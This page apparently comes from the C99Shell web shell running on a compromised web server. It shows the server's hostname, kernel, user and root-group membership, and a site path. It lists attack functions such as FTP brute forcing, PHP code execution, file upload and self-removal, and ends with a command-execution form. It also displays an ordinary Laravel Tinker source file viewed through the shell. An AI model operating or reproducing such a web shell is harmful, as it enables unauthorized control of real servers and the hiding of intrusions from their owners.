!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/tinker/src/Console/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TinkerCommand.php (4.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Tinker\Console;

use 
Illuminate\Console\Command;
use 
Illuminate\Support\Env;
use 
Laravel\Tinker\ClassAliasAutoloader;
use 
Psy\Configuration;
use 
Psy\Shell;
use 
Psy\VersionUpdater\Checker;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputOption;

class 
TinkerCommand extends Command
{
    
/**
     * Artisan commands to include in the tinker shell.
     *
     * @var array
     */
    
protected $commandWhitelist = [
        
'clear-compiled''down''env''inspire''migrate''migrate:install''optimize''up',
    ];

    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'tinker';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Interact with your application';

    
/**
     * Execute the console command.
     *
     * @return int
     */
    
public function handle()
    {
        
$this->getApplication()->setCatchExceptions(false);

        
$config Configuration::fromInput($this->input);
        
$config->setUpdateCheck(Checker::NEVER);

        
$config->getPresenter()->addCasters(
            
$this->getCasters()
        );

        if (
$this->option('execute')) {
            
$config->setRawOutput(true);
        }

        
$shell = new Shell($config);
        
$shell->addCommands($this->getCommands());
        
$shell->setIncludes($this->argument('include'));

        
$path Env::get('COMPOSER_VENDOR_DIR'$this->getLaravel()->basePath().DIRECTORY_SEPARATOR.'vendor');

        
$path .= '/composer/autoload_classmap.php';

        
$config $this->getLaravel()->make('config');

        
$loader ClassAliasAutoloader::register(
            
$shell$path$config->get('tinker.alias', []), $config->get('tinker.dont_alias', [])
        );

        if (
$code $this->option('execute')) {
            try {
                
$shell->setOutput($this->output);
                
$shell->execute($code);
            } finally {
                
$loader->unregister();
            }

            return 
0;
        }

        try {
            return 
$shell->run();
        } finally {
            
$loader->unregister();
        }
    }

    
/**
     * Get artisan commands to pass through to PsySH.
     *
     * @return array
     */
    
protected function getCommands()
    {
        
$commands = [];

        foreach (
$this->getApplication()->all() as $name => $command) {
            if (
in_array($name$this->commandWhitelist)) {
                
$commands[] = $command;
            }
        }

        
$config $this->getLaravel()->make('config');

        foreach (
$config->get('tinker.commands', []) as $command) {
            
$commands[] = $this->getApplication()->add(
                
$this->getLaravel()->make($command)
            );
        }

        return 
$commands;
    }

    
/**
     * Get an array of Laravel tailored casters.
     *
     * @return array
     */
    
protected function getCasters()
    {
        
$casters = [
            
'Illuminate\Support\Collection' => 'Laravel\Tinker\TinkerCaster::castCollection',
            
'Illuminate\Support\HtmlString' => 'Laravel\Tinker\TinkerCaster::castHtmlString',
            
'Illuminate\Support\Stringable' => 'Laravel\Tinker\TinkerCaster::castStringable',
        ];

        if (
class_exists('Illuminate\Database\Eloquent\Model')) {
            
$casters['Illuminate\Database\Eloquent\Model'] = 'Laravel\Tinker\TinkerCaster::castModel';
        }

        if (
class_exists('Illuminate\Process\ProcessResult')) {
            
$casters['Illuminate\Process\ProcessResult'] = 'Laravel\Tinker\TinkerCaster::castProcessResult';
        }

        if (
class_exists('Illuminate\Foundation\Application')) {
            
$casters['Illuminate\Foundation\Application'] = 'Laravel\Tinker\TinkerCaster::castApplication';
        }

        
$config $this->getLaravel()->make('config');

        return 
array_merge($casters, (array) $config->get('tinker.casters', []));
    }

    
/**
     * Get the console command arguments.
     *
     * @return array
     */
    
protected function getArguments()
    {
        return [
            [
'include'InputArgument::IS_ARRAY'Include file(s) before starting tinker'],
        ];
    }

    
/**
     * Get the console command options.
     *
     * @return array
     */
    
protected function getOptions()
    {
        return [
            [
'execute'nullInputOption::VALUE_OPTIONAL'Execute the given code using Tinker'],
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--